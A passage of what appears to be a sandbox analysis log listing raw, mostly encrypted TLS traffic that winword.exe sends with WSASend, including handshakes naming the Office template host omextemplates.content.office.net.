\\xbb5\\x9f\\xa4a\\xb7\\x7fv\\xa2\\x18cpu\\x119\\x90\\xff\\xcc\\x05\\x9e\\x7fsya\\xbf\\xb0p\\x02\\xac\\xdf\\xaa(\\xd9*\\xf5;q\\xd6'\\xf0f_\\x1e\\xe1\\x85\\xf8\\x15\\xdf\\x10o$v\\xa8\\\\xedu\\xc0_\\x01s\\x99\\xe5i\\xd8\\x90~#%\\xbd\\x97\\xb8@rc\\x15!9\\xd14vi\\xcc\\x12\\xf7\\x8d\\xf3\\xe4_\\xb3\\xc4\\xdf\nl\\xba\\xdf\\xe7d\\xbd~\\x1e\r$im\\x92\n\\xaf\\x82\\xd6\\xc0\\xa1\\xdd\\xae\\xcf\\xe8l@\\xdcg\\xc7\\xdd\\xea^\\x19:\\xbe\\xa7\\xef\\xd2\\xd3\\xe6\\xdda\\xd7\\xb3(\\x10\\x97b2\\xf2ad+`g\\xaa\\x91\\xc8@\\xb8\\xbb\\xdf\\x8a\\x1bj\\x18"
  618.  
  619.  
  620. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa8o\\xb4\\x9cz\\x147 \\xc8\\xea\\x7f\\xe0\\xf2\\xe1?\\x11\\x12\\x0ez\\x8ar7\\x9a\\xec$\\xd3\\xac \\xd2,m\\xc9\\\\x03<?qo(\\xcc\\x80\\xb9?\\xcc\\xbb)'\\xb0n\\xe2\\x0e\\xd6\\xe4u\\x8b\\x9b\\xc3\\xb4\\xd3\\xa5\\x8f\\xabqf1\\x0ey~\\x82\\x13#f\\x950\t\\x9d\\xe0f\\x99\\xba4\\x10u4\\x8fd\\xb9\\x9b\\xdf\\x92\\xd3k`\\xc4n\\x19>m\\xc0d/t\\x02\\xaa\\xedkm\\x16\\x18\\xda\\xe6\\xbe\\xc2\\x85\"\"\\xd90\\x17afn\\x18\\xbc\\xe3\\xf2\\x9d\\x92\\xeb\\xef\\xe9#j\\x01d\\xf6\\xa8\\xc8v\t\\xb7rn\\x13\\xbd\\x90g\\x0e\\xdf\\x15,;v\\x07-a\\x1ajxb@\\x15p)+\\x9e\\x1d\\xf7\\x10\\xbc\\xfd\\xe9wt\\xe5f#\\x07\\x9f\\x9a\r96\\x1f\\xe7\\xc6i4\\xf9\\xc8\\xa8b\\xba\\x9a\\xd8\\xf0z0\\xf0\\xfe\\xf3\\x8c\\x92x\\x81\\x1b\\xbf\\xb8\\x1e\\x17a\\xbb\\x95\\xfe\\xb4q\\xc5\\x0b\\xa3o\\xc0\\x10s|\\xcf\\xae\\xdf\\x0c\\xa5\\xbf\\xb3\\x15\\xcb\\xf79\\xfd\\x12\\xdb\\xf1\\x90^\\x10\\x96;\\xc8\\xfb\\xcc`\\xe1"
  621.  
  622.  
  623. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04k\\x7f?o\\x15\\x99\\xc7\\xf2\\x8b\\xa8q\\xec\\x05\\x17\\x97\\xab\\xfb\\x7f=@\\xb6|\\xadb\\xd6k\\x03s\\xa6\\x00q\\xf8\\xd1\\xe5\\x7f\\xc1m\\xdf\\xd3\\xae\\xd5\\xee\\x96i\\xe1s\\x1f\\x18\\xa4\\xfb\\xe6,\\xb9\\x1fl\\xc5\\x07\\x1e\\x87\\x1b\\x93c\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xca\\x8fy\\x7f\\xe2aw\\xe6\\x10:\\x16\\xb5\\xd4\\xf6\\xb6+\\xb8\\xca\\x16m\\xab\\xc7_\\x8b~\\x19$\\x84\\xce\\x81\\x01\\xd2\\xeb\\xec\\x0c\\xd01\\xe2\\xfa6\\x88v\\k\\xdf\\xe8\\x91\\xac"
  624.  
  625.  
  626. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04a\\xea\\xdd\\xb1\\xb2?\r\\xa2\\xda\\xb1\\x89\\xe6\\xc7\\xd4\\x00\\x0c6j\\xa15&)\"uc\\xe5\\xf9\\xef\\xe0\\x03\\x8f\\xb6\\xeeeio1i\\x1c\\x9fo\\x1e\\xc7\\xd9\\xe4^\\xfd\\xba\t\\x99\\xe2dn\\xf7\\x81ifq\\xb1^\\xe0\\x02\\xaa\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb2\\xcb<*s\\xfc\\xf6\\xd1\\x14z\\xaf\\xf6\\x06\\xab\\x18\\xc2\\x0bz\\xe5\\x85\\xd3\\xb3\\xca\\xc4\"s\\xd9\\xa6e\n\\x0e#>5\\xf1/\\x87qq\\x0b\\xf2z\\xd0\\xf54\\xf3\\xdd"
  627.  
  628.  
  629. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd8\\x97\\xb6c\\xd6xj\\xa1f\\x832\\x9c^\\xb9qizd\\xff\\xf6,g\\xae\\xc8<\\xae0\\xec\\xb6vn\\x8e\\xfa\\xea\\x01\\x9d&a`h\\xbaf\\x86\\xfb\\xe02cg\\x97\\xaa\\xc7\\xb55\\xac\\xcb\\xa3\\x92\\xf3\\xb7s\\xd9\\xd5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x82\\x0c\\xa1\\x1c\\x8f\\xdbs\\xc0g>\\xd8\\xbf\\xa2%ok\\x17\\xe1\\x84\\xbc\\x91%\\xbd\\x17\\xf1\\xcb\\xa04\\x940\\xba\\x1a\t\\xcdo\\x06\\x86\\xe2\\xbd\\xa31,\\x08y\\xd9\\x8c\""
  630.  
  631.  
  632. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04(bz\\x0e\\xac_\\xe9\\x0es\\x82\\x82\\xfb\\x0bx\\xef> '\\x8e\\xee\r\\xd87\\xff\\x1a\\x9c\\xb51\\x95\\xa5\\xaaz2&\\x0c\\xd9\\xd8%\\xc0u\\x7f\\xbd\\x10\\xbct\\xd5fp?ty\\xb7\\xdf6s#\\xf4\\xf5\\xc1\\2\\x18j\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0000\\x03\\x18\\xd1#\\xf2\\xc1t\\x0ft\\x8c\\xc7\\x9b\\x80\\x02\\x88\\xaa|\\x83\\xdf\\x02\\xf1\\x0eo\\xd3d\\x7f\\x8a\\x93\\xd8ag\\x01\\xa2\\xba\\xc7\\x92\\xe2\\xee\\x8d\\xdf\\x19\\xcdu#xuo"
  633.  
  634.  
  635. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x042\\x99\\xc0~t\\xf0\\x14\\xe2c\\xdb\\x01\\xd1\\xb4\\xef\\xb6=\\xd2\\xe4\\xc6e\\xba<\\xacm\\x1f\\x1d\\xf1\\xb1:\\xa0\\xceo\\xbegl:\\x9ac\\xda\\xc0\\x11'\\xceu\\x02g\\xa1\\xd6\\x14\\xef\r\\xe7\\xc7\\x8a\\x01\\x00\\xa9\\x1b\\xfc\\xba\\xc7\\xa1j6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe1\\xcd\n\\x82\\x7fbp\\x1e:\\x8f\\xc0\\x06\\xb9|\\x86\\xf0\\xe7\\xf4s\\x1e\\xee\\xfd\\xa7g\\xaez\\\\x92u\\x11q1wabs\\x7fgj>\\xaen\\x82w9\\xc3\\xba"
  636.  
  637.  
  638. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8e;=rn\\x13\\xa5\\xe6\\xd9\\x1e\\xad\\x97@\\x9f\\x1c@\\x94(\\x87s@y5xm\\xc7\t\\xaa\\xaf!f\\xde\\xf1,\\x07\\x8b\\xd7\\x9a\\x99\\x88&\\xc04\\x9a\\x872\\xe0m\\xa6\\xd2\\xb2\\xe5p\\xab\\xbc\\x8a\\x9ekm\\xb0\\xb8\\xf5\\xd5\\x00\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe7\\xf6\\xaeg\\xd1\\xd2k\\x8b4\\x14>\\x0f\\xe7\\x7f\\xf8!\\x1d\\xbd\\xa2\\xf4\\xcf\\xaa\\xe6\\x7f\\xe5\\xae\\x94\\xa6\\xdf\\xca\\xaec\\xe3\\x869\\x86\\xff\\xec\\x89,\\xc5\\xb8\\xd8\\x13\\xc4\\x99\\xb3"
  639.  
  640.  
  641. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe7\\xec\\xd4\\xb5\\xdee\\xd6\\x9f\\x8d\\xc2\\x80\\x05\\x1ew\\xc8|\\xd1\\xea\\x04\\x90\\xcd\\xc0\\x7f\\x81i\\x1a\\xb6\\x070\\x18\\xfd\\x0f<\\xbc\\xa1\\xffw\\xf1r\\xa0\\xbf\\x9f\\x89\\xcb\\xe8\\x17\n|fv\\x0b\\x10\\x94`\\xbd\\x1f\\xaaf>m\\x1947\\xa3\\x11\\x08v\\xaf_\n\\x14p|\\x81\\x1a\\x17j\\xa2\\xef\\x83=\\xbb\\xd0\\x17\\x07\\x82r\\x0b\\xeen8c'\\x89x\\xb5\\xb5pm\\xcd\\xaa\\xec\\xaco_1\\x85\\xa0\\x81\\xbf\\x81\\xabl\\xdbg\\xfdi^\\x9d\\xf4~(\\xd7n>\\x8d\\xf1\\xa7n=\\xcan\\xbbs\\xda\\x88~\\x81\\x9fa\\x19+\\x86\\xd7\\xfa\\x12\\x01\\xd4\\xb9\\x9b\\xf6\\xa2\\xd7\\x96/\\x92\\xe5s\\xd7'\\xe3\\xa4m&\\x8b\\xaa\\xf3\\xf1\\x7f0\\xff\"n\\xe1\\xcd\\x07\\x83\\x97\\xc5)\\xa1\\x87a\\xde\\xeb\\x94\\x03\\x89\\xd8o\\xb4 \\x15\\xd5m\\xfb_\\xf0\\xafuyjzj\\xca\\xcb1\\x04p'>\\x8e'\\xb3mt\\xfbr$\\x81a\\xcff\\x02\\x9d*\\x03>\\xcf\\xa1'\\xa4\\xe4+n\\x08&e*\\x8c\\x99\\x15\\x1d\\xe2\\x89a\\x1c\\x82"
  642.  
  643.  
  644. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17e\\xcf\\xf3\\xf1\\x1d\\x93t\\x88s\\x84\\x0b\\xb5\\x12\r0j\\x07m\\xe2g\\xf5\\xd6g~\\x8f\\x8f\\xa1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  645.  
  646.  
  647. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8f\\xb73\\xad\\xbfp\\x85\\xaf\\xc9`q\\xe3\\xfc\\x19\\xe6d\\x00tq\\xfa>\\x8a\\xb4\\xda\\xba\\x7f\\xa0d\\x85\\x12qks\\xb8\\x16\\x01\\xab\\x06\\xe4\\xf1ozyk\\xac\\xe2\\xdb\\x10\\x0b\\xff\\x00\\xee|\\x81\\x13\\x90\\xe9\\x07\\xda\\xbaw|8\\xfa\\xc8\"^%\\xa3\\x8al\\x12\\x14o|s\\xa8\\xea\\xeb\\x8a3\\x97k\\xe1,f\\xe0\\\\xa4hs\\x17\\x9f\\x8f\\xa4\\xfb\\x96g\\xe9\\xf1\\x96\\xb9\\xd2\\xa6\\xf3\\xf5\\xb5\\x8f\\xc9\t\\x9a&5\\xa7uh08\\x17v\\xe9\\xd5\\xdf\\xfb\\xb5!8/ \\x8b\\xcf`~\\xccf\\xe3\\x85\\xd9\\xb9\\xfb\\xcc\\xf5\\x9d\\x10n\\xd86\\xb2t\\xb2~\\xf4\\x1e\\x8d\\xa8\\xadl\\xf1v\\xe3q\\x17\\x03\\x1c\\x93\\xc0\\xc8\\xbb\\x93\\xafq\\x11$\\xd8.\\x8c\\x15j0_7\\xee\\x87\\xf0ts9\\xb0\\xfb\\x03\\xfc\\xeapv~j\\xc9\\xf3fppd\\x7f=\\xf2\\xd2r/\\xc8\\xc8:h\\xa4\\xd6\\x7f,\\x94\"\\xf5\\x14`\\x10\\xba\\xa9\\xf1\\xb0>0\\xad\\xf4y\\x98\\x90v\\xbe\\xec\\xce\\x1a\\xb37\\xfa\\xbb\\xc6\\.\\x95 \\x90\\x06"
  648.  
  649.  
  650. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xe6\\x06#r\\xec\\xcb\\xe3\\xb6\\x10\\xab\\x1a \\xb4bw~j\t\\x13o\\x1b)&t\\xe2w\\xca\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  651.  
  652.  
  653. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xe8/\\x883\\xde$\\xb7\\x82\\xee\\xae\\xca\\xae.mf\\xb0\\x80\\x05#_?\\xd2\\x99\\xbd\\x0f\\xc4\\xab\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  654.  
  655.  
  656. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17i\t\\xd8\\xc9\\xa7\\xe0r\\xf3\\xc4\\x86\\x88\\xd6a:\"p\\xe9y\\xa8\\x900\\xa9\\xd8\\x1b\\xdf5\\xee\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  657.  
  658.  
  659. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\x97a\\x14w2.\\xe9;t%\\x18\\x1bt\\x9bv1a\\xe7\\x84\\xe7\\xfc\\x00\\xf1\\x8f\\x08\\x9dy\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  660.  
  661.  
  662. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd3dtx~>`h\\xbbc\"u\\xf68\\x10\\x19\\x8f\\x89\\xa6\\xa7\\xdfl\\x87\\xbfb\\x9c\\x0e\\xbe_\\xa0p\\xbc$\\xdd\\xf9k\\x1c\\x7f\\x81\\x1e\\xc7:\\xa1\t\\x7fe\\xcb\\x9c\\xedc\\xd2\\xc7\\x12r\\xca\\xd6n\\x01\\xd2\\x11\\x9e\\xe6\\x0cx/\\xa2\\xd1\\xe9\\x8cn\\xd2\\xd2\\xebf\\x86\\x8d\\xfal\\x17\\x1f\\x9fa\\x00-\\x8f\\x0b \\x18\\xe1\\x0f/\\xe5\\xfb\\xd7x\\x156\\x0f?\\xae@\\x9bq\\x90g\\x93\\x11\\x117\\x86\\x7f\\x8a\\xab\\x04b&\t3\\xf6$i`\\xb6\\xea\\xa4c\\xa1\\xad\\xa7\\xa9h\\xcd?v\\x1b\\xd1u!6#\\x14dy\"\\xe0\\xf8\\xec\\xa8e\\x0b\\xb3\\xea\\x17\\x88\\xf9\\x0f\n\\xd7\\xa8v1y-n'\\x98`\\x05\\x8a\\x07\\xb3\\x0b\\xd8\\xd0va\\xd9\\x98cc\\x9a\\x0b\\xc3\\xc8\\xf7h\\xc5a\\xb0\\xbc\\x8b\\xb2\\x91\\xf4\\xdd\\x16\\x89\\x08\\xa9;\\x93\\xc6\\x99mu\\xbe\\xf6\\x04\\xcd\\xb8\\x83\\x02\\xdf\\xb6\\x00\\xe2\\x99\\xee\\x85q\\xa8l\\xcf\\x17\\xc9r\\x87l\\x0c\\x12\\xce\\xaf\\x9c\\x01k\rn\\xbe\\xff\\xe7\\x1e\\xe4\\xb4\\x00\\xd6\\x16\t%"
  663.  
  664.  
  665. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17?\\xee\\xab\\x9b\\x0e\\xb8p<|\\x03\\xbcp\\x03\\xa8\\x8c7\\x94\\xb5\\xde\"i\\x1f\\x039\\xe5\\x81\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  666.  
  667.  
  668. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd19\"\\x7f)\\x85\\x04qo\\xef\\xa4\\xe9\\xc2\\x14\\xe5\\xb9\\xe9\\xea\\x8f\\x1f\\xc9\\xc4>\\x8f\\x15 \\xe0i\\x17\\xac\\xe5\\xbe\\xeb\\xf2\\x03\\x96\\xb4:\\x81\\xdd6!\\x9a\\xfc\\x8dc\\x03\\xbe\\xad\\x0b\\x8c\\x00\\xc8\\xa1\\x14i\\x15\\x998_\\xf3n\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9f(\\xf0\\x92\\xe4q!b\\x1a\\x9c~\\xeb\\x95q\\x12\\,\t\\x0e\\xb2\\x12\\xc5k\\xd2yk\\xec\\x16\\xa1\\xa6\\x9d\\xabc\\xca\\xe8q\\xddmd\\x10r\\xebd\\xdc\\xeeiy\\xed"
  669.  
  670.  
  671. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb0:\\xbd\\xf5\\xd3\\x13@\\x7f\\x84\\x039#\\xe5t's\\xb3~\\xe34\\xc6n\\xa1\\xd4k-\\x8e\\xb3\\xb4\\xed\\xfba\\xcc\\x11#\\xdc\\xae\\xb0\\xe3\\xe0\\xa7\\x9a\\xe1m\\xfbo>\\xd3\\xe2\\xe8\\xf2&\\xd5k\\x15l\\xfa\\xa0\\xa3\\xa8\\xf9\\xfaj\\x9a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000&u\\xbc\\xb9__\\xe0\\x1a\\x95\\x10\\x8fd\\xcfh\\xa3\\xdf\\x14\\xc1j\\xb8\\xfc\\xd4\\xb7\\x99da\\x06\\x8f\\x12f\\x92yl\\x96\\xbbu\\xa6p\\xef\\x96\\xf1h\\xfe\\x8e\\xbe\\xb4v\\xaf"
  672.  
  673.  
  674. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xef\\xa9\\x82`\\xbd\\xc9\\x19\\x08\\xabe\\xfcwt\\x00a\\x08\\xe2\\x03\\xfd#\"\\xfe\\xb7\\x95\\xc6a\\x08\\xf7\\xf9\\x85p\\x8e\t\\x88\\x15q\\x1f\\xbf\\xe1\\xeajq\\xcdnw\\xb4\\xd1:\\xa6\\x1e?\\x9f\\xd2\\x13\\xb8\\x89cw\\xdf\\xbf\\x9b\\xb0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x88\\x82\\x93\\x04q\\x9f\\x8c\\x01ll\\x81b\\xeb\\xech\\x05\\xb1\\xca\\xcc!)\\xdc\\xdfz\\xc2\\x00\\x9bv\\xaf\\x92\\x8d;\\xaa\\xffe\\xa4\\xc8\\x8647\\x91\\x0b\\xd3\\xef\"?"
  675.  
  676.  
  677. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xb3\\x11:8|rc5\\xbczvz_\\x16 \\xfc\\xf2k&k\\xf9\\x19\\x92\\x96\\xdd\\x8f\\xe8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  678.  
  679.  
  680. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04.\\x0f\\x1e\\xf4)c\\xc9\\x08ig\\xa9~v\\x19\\x1ad@\\xd1\\x9c\\x9e\\xd1\\x90i\\x93\\xa4k\\x8f\\xc3o\\xc3\\xe4\\xc0\n\\x95\\x00+\\x84\\xbc\\xfe\\xa6_nwi\\xd4<\\xd3\\xbc\\x94\\xc8\\xc9=dm\\x0cj\\xd0\\xfa.\\xf7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfd\\xbch\\x98w\\x1al\\xd8l\\x1b\\xd8%\\xf6\\xa9\\xb9\r\\x0f\\xa8eo\\x8bl\t\\x04\\x8b\\xa8|y>\\xe8\\x82b\\xe3u\\x95\\x1bs\\xea\\x1b\r\\xbc\\x96!\\xb8\\xb5\\x9f\\xd4"
  681.  
  682.  
  683. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04m\\xf2\\x02\\x91\\x87\\xaef*\\x98\\x04\\xba\\xe1@l\\xd8\\xc0\\x16\\x82\\x1d+wd\\xb9\\xd87\\xf6(a\\xeb?\\x94\\x8bk>\\xdbn\\xc8\\x003p%\\x9fc\\xbb%\\x8fx\\xe9\\xd6\\xd2e\\x13a\\xac\\xa3t\\xc2\\xa1\\x9a\\xaew\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa5\\x05)am\\x05\\x00\\x86\\g\\x88\\x04`\\xfe\\x86\\xc5p\\x14(n\\x13\\xcem\r6\\x97o\\x15\\xe2g)\t\\x81\\xcf x\\xab/\\xcf\\x88\\xd1v\nm\\x18d\\x0c\\xca"
  684.  
  685.  
  686. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd0\\xa9\\x93\\xc9\\xd4\\xc1o\\xff\\x9d\\x9d7i\\x11\\x19\\xbb2\\xf0;\\xe4\\xf3\\x8ad\\x93\\xeb\\x91\\xa2\\xba\\x10\\xed\\xbf\\x98\\xb3\\x9eq \\x0f\\xff\\xc6\\x1d!:$\\xcd\\x1ez\\x07\\xf0s>h\\xcejsf'\\x94\\xc3\\x0e\\x9b\\xdb'\\x03\\xfb\\xfe\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0005\\x90/\\x98\\xf7>\\xebue\\x8c\\x91\\x9bd\\x00\\xeb\\xad\\xd0`\\xbb\\x003\\xde5\\x12\\xe6\\x10\\x89h\\xcd(\\xbcr\\xfa\\xbc\\x1c\\xa2vn\\x85koz\\x14zn\\x99\\x87"
  687.  
  688.  
  689. "http_request": "winword.exe_WSASend_2\\x02\\x01\\x00f\\x10\\x00\\x00ba\\x04f\\x8fhv\\xc3o\\xa1#,\\xf6\\xdc\\x97a\\x90u\\x8elm:>\\x86\\xa0h\\x85a\\xf9t\\x85\\xc0,\\xe5|\\xe3\\xbe\\x9b\\xad\\x7fx\\x91\\x18\\xa6\\xe7=v\\xbf1\\xe6\\x8b\\xd9\\xad\\xdc\\xbb\\x8e\\xec\\xbe\\xb3_\\xc0u\\xd4\\xf3n\\x14\\xd1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x99sw\\\\xc3\\x94\\xae\\xf3s\\xd0f5\\xf4\\xe1-n\\xf2\\xea\\xf1\\x01\\xdbl#\\xe4.\\x90\\x8c\\xe1\\x14w\\x84*\\xc8\\xa8\\xe2<ke\\xa7\\xa0\\x83\\xc0\\x00\\xa5\r\\x84\\xe2="
  690.  
  691.  
  692. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010g\\x9dgf$o\\x89\\xc0\"ymu:\\xf8\\x04zt\\xbb\\x99\\xfed\\xd3\\x06\\x0b\\x84\\xca\\x9c\\xd7\\xbb\t5?\\xc2\\x08\\x83s\\xdfh\\x9ab$d\\x03j\\xb7\\x15e\\x8cjoq\\xff\\xf7\\x1b\\x19r-h\\xbf\\x04v=\\xaf\\x85@'0\\xe4\\x92\\xb4pg\\xc2\\xe1\\xf0\\xf5po\\xc13\\xdc\\x1a\\xc7`\\x10\\xe1\\xfa\\x87mq\\x07\\x00q&\\xb1+b\\xd2s\\x8d`s8\\xacv\\xa2\\xb3o\\xf1\\xfcc\\x1f%\\xdc\\x82/3w\\xda\\xf3\\x89\\xbe9\\xabw!\\xe3%\\xd1\\x8c\\xab\\x15\\x10x\\xb0\\xa5c\\x95\\xc49/ham\\x87\\x01\\xf3\\xa4#lq\\x92\\x1d\\x99\\xcc\\xb1\\x87qj(v\\xf9\\xfboj\\xe8\\x12\\xf6 l\\xcf\\xd6\\x99x\\xe8am\\x8e/\\xa64#\\xd8r\\xc8\\x87\\x86q\\xc4k\\xd6\\xe1j_\\xaa\\x17r%k!\\x06s\\x03\\x90\\x8d\\x03\\x1c\\xc8\\xf3\\xe9\\xc22\\xed(\\xef\\xe0\\xc3\\x1b\\x1ae\\xae\\xbac\\xccd\\xf8n\\x1c\\x1e\\x9a\\xf5\\x01\\xf0\\x85\\xf4\\xff\\x1a\\x9c\\x12\\xb0\\xdb\\x8f\\xbeva\\x91\\x08\\xbe"
  693.  
  694.  
  695. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010b\\x86\\x85\\xe3d\r\\xf0\\xa2y1\\x8a\\xf7\\xbd\\x88h\\x01\\xcb&w\\xcd\\x15\\xc4\\xc6\\x88\\xd2\\xab\\x97\\xed,\\x83;\\xb6w 'h\\x95i\\xbbk\\xc9\\xb3a\\xce\\xa4\\x9d\\x9a\\x08\\xbb\\xe8\\x1c\\x01\\x831\\xbc\\x92%\\xfc\\x8e\\x84qn\\xa8\\x070\\x1a\\x8e\\x9b\\x90=\\xfd`m\\x03\\x9b\\xa0\\x16\\xb5\\xf7l\\xa6\\xe9'\\x1d\\xbd\\x9c\\x91|\\x98k\\xa2\\x84\\xbe\\x92'7\\x05\\xb4\\xf6\\xc3\\x19\\xeai'\\x19\\xb5\\xcdjn\\x08\"\\x15\\xb9h\\xa6\\x00<\\xcb\\x1a\\xce\\xb4\\xdes\\xc6\\xa28k\\xc4\\x87\\xf0`,\\xa5t\\x90|\\xbbw\\xee\\xe9\\x870\\x941\\x1c\\x94\\xf5\\x1d\\xc6\\xe5b?\\x1a\\x96ls \\xa8\\x0b\\xa3\\x93\\xa9\\x84\\xbdqp\\xc8\\xf4\\xf0\\xf3e\\xe5d\\x1e@e\\xd3b\\xee\\x18\\x81\\x82h\\x97m\\xf3\\x03\\xb6\\x1f\\xb0\\x06we\\x8b\\x95r\\x91\\xe5\\xc3\\xb2\\xae\\x86\\x01\\xf0\\x8a\\xbe\\xa3c.\\xc6c\\xf3&\\xfff;\\x1f@l\\xe3\\xb6\\x88w'\\xe6\\xdc\\x86\\xbb\\xb4\\xc1\\x13'ca\\x9c\\c\\x81)\\xb1-\\xd9\"\\xe7~\\xa8*\\xc4\\x1e"
  696.  
  697.  
